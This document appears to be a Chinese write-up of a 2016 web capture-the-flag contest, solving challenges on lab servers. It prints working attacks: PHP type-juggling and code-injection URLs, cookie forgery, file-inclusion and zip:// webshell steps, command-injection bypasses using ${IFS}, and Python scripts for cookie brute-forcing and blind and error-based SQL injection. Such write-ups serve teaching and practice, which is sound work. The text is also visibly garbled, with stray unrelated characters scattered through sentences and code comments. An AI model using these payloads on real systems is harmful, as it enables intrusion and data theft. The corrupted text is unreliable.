捉迷藏
進(jìn)去之后查看源碼:
發(fā)現(xiàn)有隱藏鏈接:Index.php (Linux中對(duì)url大小寫敏感)
手動(dòng)輸入后發(fā)現(xiàn)被跳轉(zhuǎn)回來
于是在命令行使用curl工具逃逸跳轉(zhuǎn)(curl默認(rèn)不跟隨跳轉(zhuǎn))
- Payload:
curl http://218.76.35.75:20111/Index.php
簡(jiǎn)單的問答
- 題目url:http://218.76.35.75:20112
進(jìn)去之后查看源代碼發(fā)現(xiàn)題目全是扯淡
源碼截圖如下:
分析form后提交post(工具:HackBar)
PS:后臺(tái)估計(jì)是沒有處理q4字段诅诱,直接處理q3字段了
- Payload:
url ->http://218.76.35.75:20112
Post Field ->q1=2016&q2=lol&q3=22&success=true
后臺(tái)后臺(tái)后臺(tái)
- 題目url:http://218.76.35.75:20113/
進(jìn)去之后只有一個(gè)Enter按鈕可被操作,
目的是獲得admin權(quán)限
觀察到Response有新Cookie被set械媒,
Member疑似Base64涉馅,Decode后發(fā)現(xiàn)是Normal水孩,猜測(cè)這是基于Cookie的Auth痕鳍,直接在瀏覽器控制臺(tái)修改Cookie后點(diǎn)擊Enter后獲得Flag级遭。
- Payload:
document.cookie="User=admin"
document.cookie="Member=QWRtaW4="
<--這是Admin字符串的base64 Encode
PHP是最好的語言
- 題目url:http://218.76.35.75:20114
進(jìn)去看到源碼,白盒審計(jì)
代碼如下:
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){ //foo反序列化后必須為數(shù)組或者能強(qiáng)制轉(zhuǎn)換為數(shù)組
is_numeric(@$a["bar1"])?die("nope"):NULL; //foo中包含一個(gè)k為bar1凿渊,v不能為數(shù)字的kv對(duì)
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
//此v必須大于2016梁只,這里用到了PHP的一個(gè)弱類型特點(diǎn)缚柳,在PHP中,當(dāng)'2017aaaaabbbb' 與數(shù)字2016比較時(shí)搪锣,PHP會(huì)嘗試把前者轉(zhuǎn)換成數(shù)字秋忙,故前者會(huì)被轉(zhuǎn)換成2017,這與(int)'2017asdadasd' = 2017是符合的构舟,看下面[圖1]
}
if(is_array(@$a["bar2"])){ //foo中必須含有一個(gè)k為bar2灰追,v為數(shù)組的kv對(duì)
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
//bar2的v中的數(shù)組元素必須等于5個(gè),并且第一個(gè)元素必須還是為數(shù)組
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
//foo中必須包含一個(gè)k為a2狗超,v為nudt的kv對(duì)(我覺得出題人這里是想出成bar2中必須包含一個(gè)v為nudt的kv對(duì))
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
//bar2里面的元素不允許包含nudt字符串
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
//這里利用了eregi會(huì)被%00截?cái)嗟奶攸c(diǎn)構(gòu)造payload繞過檢測(cè)
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
- Payload:
http://218.76.35.75:20114/?foo={"bar1":"2017Pr0ph3t","bar2":[[""],"","","",""],"a2":["fuck","nudt"]}&cat[0]=%00?htctf2016&cat[1][]=1&dog=222
Login
- 題目url:http://218.76.35.75:20115/
進(jìn)去之后隨便點(diǎn)點(diǎn)觀察到Url為?page=xxx弹澎,很有可能是文件包含,直接試一波php偽協(xié)議,php://filter/convert.base64-encode/resource=main
發(fā)現(xiàn)可以抡谐,遂讀取頁面源碼
----------- index.php ----------
<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";
if (@$_GET['log']) {
if(file_exists($_GET['log'].".log")){
include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}
?>
----------- main.php ----------
<html>
<head>
<title>trolol</title>
</head>
<body>
<center>
<a href="./?page=main">main</a>
<a href="./?page=info">server info</a>
<a href="./?page=login">login</a>
</center>
</body>
</html>
----------- login.php ------------
<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
<center>
login<br/><br/>
<form action="" method="POST">
<input name="login" placeholder="login"><br/>
<input name="password" placeholder="password"><br/><br/>
<input type="submit" value="Go!">
</form>
</center>
這一題比較迷裁奇。桐猬。因?yàn)轭}目邏輯貌似是直接隨便包含一個(gè)log文件就能出flag麦撵。。
基本思路是溃肪,登陸帶debug生成log然后在index.php里發(fā)log的參數(shù)免胃。。
但是其實(shí)這一題估計(jì)是出題人改崩了惫撰。羔沙。。
王師傅有更6的解題思路厨钻。扼雏。。(我覺得這應(yīng)該是正確的)夯膀。诗充。
詳情請(qǐng)移步http://www.reibang.com/p/fd9f38753078
簡(jiǎn)單的文件上傳
- 題目url:http://218.76.35.75:20122
中規(guī)中矩的上傳檢測(cè),后臺(tái)檢測(cè)后綴和MIME類型诱建,要求是php后綴并且MIME是jpg蝴蜓,直接F12截包修改MIME得到flag
簡(jiǎn)單的JS
- 題目url:http://218.76.35.75:20123
打開頁面有提示The evil url is the passkey
,查看源碼有
<script>
p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,
102,108,48,97,46,112,104,112,34,62"
p=eval("String.fromCharCode("+p+")");
document.write(p);
</script>
在控制臺(tái)解碼后為
<iframe height=0 width=0 src="./fl0a.php">
訪問http://218.76.35.75:20123/fl0a.php
后查看cookie得到flag
PHP是一門松散的語言
題目url:http://218.76.35.75:20124
打開頁面有源碼提示俺猿,發(fā)現(xiàn)存在parse_str可以變量覆蓋茎匠,直接上payload。
簡(jiǎn)單的文件包含
- 題目url:http://218.76.35.75:20126
題目描述是:flag在/flag里
打開頁面隨便點(diǎn)開一個(gè)page發(fā)現(xiàn)url疑似包含押袍,偽協(xié)議不能用诵冒,所以根據(jù)題目描述把參數(shù)改成?page=/flag后在源碼中可以得到下一個(gè)文件的名字,訪問那個(gè)文件得到flag
簡(jiǎn)單的驗(yàn)證
- 題目url:http://218.76.35.75:20127
根據(jù)題目描述得知我們要變成admin才有權(quán)限看flag
頁面并沒有啥有用信息谊惭,查看cookie得到user和guess汽馋,看來又是一題基于cookie的Auth否过,因?yàn)槭莋uess,所以可以猜到是爆破惭蟋,直接上腳本:
#coding:utf8
import requests
se = requests.Session()
# -------- 簡(jiǎn)單的驗(yàn)證
for x in xrange(0,1000):
res = se.get('http://218.76.35.75:20127/index.php',cookies={'user':'admin','guess':'%d' % x})
print '[*] Trying ' + str(x)
if 'not' not in res.content:
print '[*] The guess num is ' + str(x)
print '[*] Content----------'
print res.content
exit()
GG
- 題目url:http://218.76.35.75:65380/
進(jìn)去以后是一個(gè)俄羅斯方塊(我還玩了一下233333)
玩的過程中并沒有在請(qǐng)求里面發(fā)現(xiàn)于后臺(tái)的交互苗桂,這是前端題?
查看美化后的JS告组,發(fā)現(xiàn)有個(gè)地方比較奇怪
這里貌似是明示了一個(gè)js文件煤伟,名字是e100.js
訪問一下發(fā)現(xiàn)是久違的jsFuck,直接丟進(jìn)控制臺(tái)就alert出flag了
Reappear
- 題目url:http://218.76.35.75:65180/
進(jìn)去以后發(fā)現(xiàn)是kindeditor木缝,訪問有文件遍歷漏洞的php發(fā)現(xiàn)能用便锨,看到attached文件夾下有flag_clue.php,訪問之后發(fā)現(xiàn)疑似倒著的base64我碟,python切片走一波放案,得到結(jié)果再base64解碼后出flag
- Payload:
http://218.76.35.75:65180/kindeditor/php/file_manager_json.php?path=/
DrinkCoffee
- 題目url:http://218.76.35.75:65280/
進(jìn)去以后有Hint: Find the password to submit, but you should come from http://www.iie.ac.cn and your IP must be 10.10.20.1
并在Response header發(fā)現(xiàn)有password
那很清晰就是修改http header了,這里推薦一個(gè)火狐的插件叫:Modify Header
修改Referer為http://www.iie.ac.cn矫俺,X-Forward-for為10.10.20.1 吱殉,然后把password拿到md5解密網(wǎng)站查找一下,找到密碼為cafe厘托,直接post上去即可拿到flag
Default
- 題目url:http://218.76.35.74:20131
進(jìn)去以后啥都沒有友雳,根據(jù)提示開掃描器直接騷(立個(gè)flag,自己寫一個(gè)掃描器)
騷到index2.php
訪問之后發(fā)現(xiàn)有源碼铅匹,是一個(gè)代碼注入
<?php
include "flag2.php";
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
直接上Payload
- Payload:
http://218.76.35.74:20131/index2.php?hello=);show_source('flag2.php'
Vote
- 題目url:http://218.76.35.75:65080/
進(jìn)去以后順手掃一波押赊,這里推薦一下自家的掃描器,介紹在下一篇文章
掃出備份文件, .index.php.swp后下載查看源碼(不知道為什么這里vim -r無法修復(fù)文件包斑,所以直接hexdump -C把能讀的弄了出來流礁,再用python切片倒敘一下再整理一下邏輯就有了大概的源碼了。
#coding:utf8
raw = '''echo '<br><a href="index.php">goBack</a><br>';
echo '</table>';
echo '<td>'.$arr[0].'</td><td>'.round($arr[1], 2).'</td></tr>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
while ($r = mysql_fetch_array($q)) {
echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
echo '<table border="1">';
echo '<p><b>Thank you!</b> Results:</p>';
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$vote = 1;
if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
$id = $_POST['id'];
die('please select ...');
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
$login = $_SESSION['login'];
}
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
if (!isset($_SESSION['login'])) {
session_start();
include 'db.php'; < ?'''
arr = raw.split('\n')
print '\n'.join(arr[::-1])
得出大概的源碼
<?
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
die('please select ...');
}
$id = $_POST['id'];
if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
$vote = 1;
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
echo '<p><b>Thank you!</b> Results:</p>';
echo '<table border="1">';
echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
while ($r = mysql_fetch_array($q)) {
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo '<td>'.$arr[0].'</td><td>'.round($arr[1], 2).'</td></tr>';
}
echo '</table>';
echo '<br><a href="index.php">goBack</a><br>';
可以審計(jì)代碼發(fā)現(xiàn)疑似是二次注入罗丰,利用的是id字段神帅,這里有個(gè)小技巧就是利用hex來繞過is_numeric的檢測(cè)
經(jīng)過測(cè)試是沒問題的,但是猜測(cè)可能id字段長度有限丸卷。枕稀。。谜嫉。所以去information_schema.tables里面注入不了東西 被截?cái)嗔?br>
然后只能猜表名了萎坷。。沐兰。
最后猜到是t_flag表 字段為flag
最后吐槽一下這題提示有點(diǎn)少哆档。。住闯。瓜浸。澳淑。
Document
題目url:http://218.76.35.74:20129
進(jìn)去之后查看源碼發(fā)現(xiàn)有inlude.php提示
進(jìn)去include.php查看源碼發(fā)現(xiàn)此文件有file參數(shù)和有upload.php的提升
猜測(cè)這個(gè)文件是用來文件包含的,進(jìn)去upload.php發(fā)現(xiàn)是個(gè)上傳插佛,那問題很清晰了杠巡, upload.php上傳shell-->include.php包含執(zhí)行命令的文件-->getshell然后測(cè)試include.php發(fā)現(xiàn)php偽協(xié)議是可以用的
讀取源碼
upload.php
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
include.php
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
發(fā)現(xiàn)并沒有過濾zip或者phar協(xié)議
可以選擇上傳壓縮包并用偽協(xié)議解壓
- 最后getshell payload如下:
url+?file=zip://upload/shell.jpg%23shell&pp=(命令寫這)
這題有點(diǎn)坑的是不知道是誰寫了個(gè)假flag在upload里面。雇寇。大家改得不亦悅乎23333333
我以為flag已經(jīng)被改掉了
結(jié)果最后還是自己太菜了氢拥。。锨侯。
命令上find / | grep flag
能在/etc/.sshkey/flag.txt下找到flag
23333還是挺好玩的
陽光總在風(fēng)雨后
- 題目url:http://218.76.35.74:20130
進(jìn)去以后是個(gè)簡(jiǎn)單的登陸界面嫩海,掃一掃發(fā)現(xiàn)有admin目錄(再次打廣告 我剛剛擼的一個(gè)掃描器不錯(cuò) 在下一篇文章有介紹)然后就猜測(cè)是要注入登陸進(jìn)去,日常輸入admin囚痴、admin后發(fā)現(xiàn)提示密碼錯(cuò)誤叁怪,那就很明顯是一個(gè)盲注了,然后這題還過濾了很多字符
如:and深滚、or奕谭、|、空格成箫、union展箱、information、.....
這題有點(diǎn)坑蹬昌。。過濾了information....也就是說表名要自己猜攀隔。皂贩。
最后猜到是admin
直接上腳本
#coding:utf8
import requests
se = requests.Session()
payload = '1\'%%(ascii(mid((select(group_concat(passwd))from(admin))from(%d)))=%d)%%\'1'
passwd = ''
for x in xrange(1,34):
for y in xrange(33,127):
res = se.post('http://218.76.35.74:20130/login.php',data={'uname':payload % (x,y), 'passwd' : 'fuck'})
if 'password error!!' in res.content:
print chr(y)
passwd += chr(y)
break
else:
print payload % (x,y)
print '[*] passwd = ' + passwd
print '[*] passwd = ' + passwd
跑出來密碼是:
50f87a3a3ad48e26a5d9058418fb78b5
去cmd5碰撞
拿admin、shuangshuang登陸進(jìn)去之后是一個(gè)命令執(zhí)行的界面
ls一下發(fā)現(xiàn)只有index.php
ls ../admin發(fā)現(xiàn)沒有結(jié)果
猜測(cè)是把空格過濾了昆汹,試試系統(tǒng)變量${IFS}可以繞過明刷,然后嘗試讀取上一級(jí)目錄發(fā)現(xiàn)只有l(wèi)ogin.php回顯,不對(duì)勁满粗,因?yàn)樯弦患?jí)目錄是肯定存在index.php的辈末,這里猜測(cè)是后臺(tái)只截取了最后一行的輸出,那這里可以使用head命令輸出第一行
命令執(zhí)行繞過http://blog.csdn.net/qq_27446553/article/details/73927518
這里偷個(gè)懶直接寫腳本了映皆。挤聘。
#coding:utf8
import requests
import re
se = requests.Session()
cookie = {'PHPSESSID' : '5cpbv7knav0mfshnmn5a2u3ku4'}
url = 'http://218.76.35.74:20130/admin/index.php'
for x in xrange(1,30):
payload = r'find${IFS}/${IFS}|grep${IFS}flag|head${IFS}-n${IFS}' + str(x)
res = se.post(url,cookies=cookie,data={'ord' : payload})
feedback = re.findall(r'<div class="login-content">.*<p>(.*)</br>命令執(zhí)行完成!.*',res.content, re.M|re.S)
print feedback[0].strip()
這個(gè)有點(diǎn)可疑
cat之后出flag
試試XSS
- 題目url:http://218.76.35.75:20125
這題很粗暴捅彻,直接XSS
不多說直接上poc
這題要吐槽的是下面的payload不行组去。。步淹。从隆?诚撵?why?键闺?寿烟?
' onerror='alert(document.domain)'
http頭注入
- 題目url:http://218.76.35.75:20121
進(jìn)去之后又提示,修改http頭辛燥,點(diǎn)擊link進(jìn)入之后Fuzz出Referer存在注入韧衣,估計(jì)是insert的注入疑俭,一般來說是基于時(shí)間的盲注和報(bào)錯(cuò)注入暑刃,這里我選擇比較簡(jiǎn)單快捷的報(bào)錯(cuò)注入枉层,具體payload估計(jì)已經(jīng)爛大街了鸠按,如下:
http://1' || 1=(updatexml(1,concat(0x3a,(查詢語句)),1)) || '
結(jié)果如下:
庫名:http://1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
ctfweb20110
表名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema = 'ctfweb20110')),1)) and '
flag,visits
字段名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')),1)) and '
id,flag
查flag:http://1' and 1=(updatexml(1,concat(0x3a,(select flag from flag)),1)) and '
最安全的筆記管理系統(tǒng)
......
待更新